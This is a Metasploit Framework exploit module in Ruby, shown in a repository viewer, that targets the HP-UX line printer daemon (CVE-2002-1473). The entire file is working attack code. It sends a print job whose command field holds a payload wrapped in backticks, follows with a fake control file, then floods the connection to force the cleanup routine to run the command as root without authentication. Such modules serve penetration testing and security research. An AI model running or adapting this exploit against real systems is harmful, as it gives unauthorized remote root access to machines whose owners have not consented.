root / modules / exploits / hpux / lpd / cleanup_exec.rb @ master
History | View | Annotate | Download (2.6 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
|
| 13 |
require 'msf/core'
|
| 14 |
|
| 15 |
|
| 16 |
class Metasploit3 < Msf::Exploit::Remote |
| 17 |
Rank = ExcellentRanking |
| 18 |
|
| 19 |
include Msf::Exploit::Remote::Tcp |
| 20 |
|
| 21 |
def initialize(info = {}) |
| 22 |
super(update_info(info,
|
| 23 |
'Name' => 'HP-UX LPD Command Execution', |
| 24 |
'Description' => %q{ |
| 25 |
This exploit abuses an unpublished vulnerability in the |
| 26 |
HP-UX LPD service. This flaw allows an unauthenticated |
| 27 |
attacker to execute arbitrary commands with the privileges |
| 28 |
of the root user. The LPD service is only exploitable when |
| 29 |
the address of the attacking system can be resolved by the |
| 30 |
target. This vulnerability was silently patched with the |
| 31 |
buffer overflow flaws addressed in HP Security Bulletin |
| 32 |
HPSBUX0208-213. |
| 33 |
},
|
| 34 |
'Author' => [ 'hdm' ], |
| 35 |
'Version' => '$Revision$', |
| 36 |
'References' =>
|
| 37 |
[ |
| 38 |
[ 'CVE', '2002-1473'], |
| 39 |
[ 'OSVDB', '9638'], |
| 40 |
[ 'URL', 'http://archives.neohapsis.com/archives/hp/2002-q3/0064.html'], |
| 41 |
|
| 42 |
], |
| 43 |
'Platform' => [ 'unix', 'hpux' ], |
| 44 |
'Arch' => ARCH_CMD, |
| 45 |
'Payload' =>
|
| 46 |
{
|
| 47 |
'Space' => 200, |
| 48 |
'DisableNops' => true, |
| 49 |
'BadChars' => "\x00\x09\x20\x2f", |
| 50 |
'Compat' =>
|
| 51 |
{
|
| 52 |
'PayloadType' => 'cmd', |
| 53 |
'RequiredCmd' => 'generic perl telnet', |
| 54 |
} |
| 55 |
}, |
| 56 |
'Targets' =>
|
| 57 |
[ |
| 58 |
[ 'Automatic Target', { }]
|
| 59 |
], |
| 60 |
'DefaultTarget' => 0, |
| 61 |
'DisclosureDate' => 'Aug 28 2002' |
| 62 |
)) |
| 63 |
|
| 64 |
register_options( |
| 65 |
[ |
| 66 |
Opt::RPORT(515) |
| 67 |
], self.class)
|
| 68 |
end
|
| 69 |
|
| 70 |
def exploit |
| 71 |
|
| 72 |
# The job ID is squashed down to three decimal digits
|
| 73 |
jid = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0] |
| 74 |
|
| 75 |
# Connect to the LPD service
|
| 76 |
connect |
| 77 |
|
| 78 |
print_status("Sending our job request with embedded command string...")
|
| 79 |
# Send the job request with the encoded command
|
| 80 |
sock.put( |
| 81 |
"\x02" + rand_text_alphanumeric(3) + jid + |
| 82 |
"`" + payload.encoded + "`\n" |
| 83 |
) |
| 84 |
|
| 85 |
res = sock.get_once(1)
|
| 86 |
if !(res and res[0,1] == "\x00") |
| 87 |
print_status("The target did not accept our job request")
|
| 88 |
return
|
| 89 |
end
|
| 90 |
|
| 91 |
print_status("Sending our fake control file...")
|
| 92 |
sock.put("\x02 32 cfA" + rand_text_alphanumeric(8) + "\n") |
| 93 |
res = sock.get_once(1)
|
| 94 |
if !(res and res[0,1] == "\x00") |
| 95 |
print_status("The target did not accept our control file")
|
| 96 |
return
|
| 97 |
end
|
| 98 |
|
| 99 |
print_status("Forcing an error and hijacking the cleanup routine...")
|
| 100 |
|
| 101 |
begin
|
| 102 |
sock.put(rand_text_alphanumeric(16384))
|
| 103 |
disconnect |
| 104 |
rescue
|
| 105 |
end
|
| 106 |
|
| 107 |
end
|
| 108 |
|
| 109 |
end
|